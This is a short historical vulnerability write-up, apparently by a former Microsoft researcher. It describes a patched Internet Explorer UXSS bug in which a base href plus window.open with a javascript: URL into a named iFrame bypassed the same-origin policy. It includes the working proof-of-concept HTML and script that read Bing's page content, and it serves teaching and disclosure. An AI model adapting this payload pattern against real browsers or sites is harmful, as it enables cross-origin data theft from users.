The iFrame variant of the base href UXSS: loading a cross-origin URL inside a named iFrame and then calling window.open("javascript:...", iFrameName) executed the script in that iFrame’s security context, bypassing the same-origin policy.

<base href="http://www.bing.com/">

<iframe src="http://www.bing.com" name="iFrame" width="700" height="150"></iframe>

<script>
function main()
{
	window.open("javascript:alert(document.URL + '\n\n' + document.body.outerHTML)", "iFrame");
}
</script>

The <base href> pointed to bing.com. The iFrame loaded bing.com. When window.open targeted the iFrame by name with a javascript: URL, IE again resolved the origin of the script from the base href and allowed it to execute inside the iFrame’s Bing context — reading document.body.outerHTML from Bing’s page directly.

Both this and the new-window variant (entry 54) share the same root cause: IE used the document’s base href rather than its actual origin when evaluating the security context for javascript: protocol navigations.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.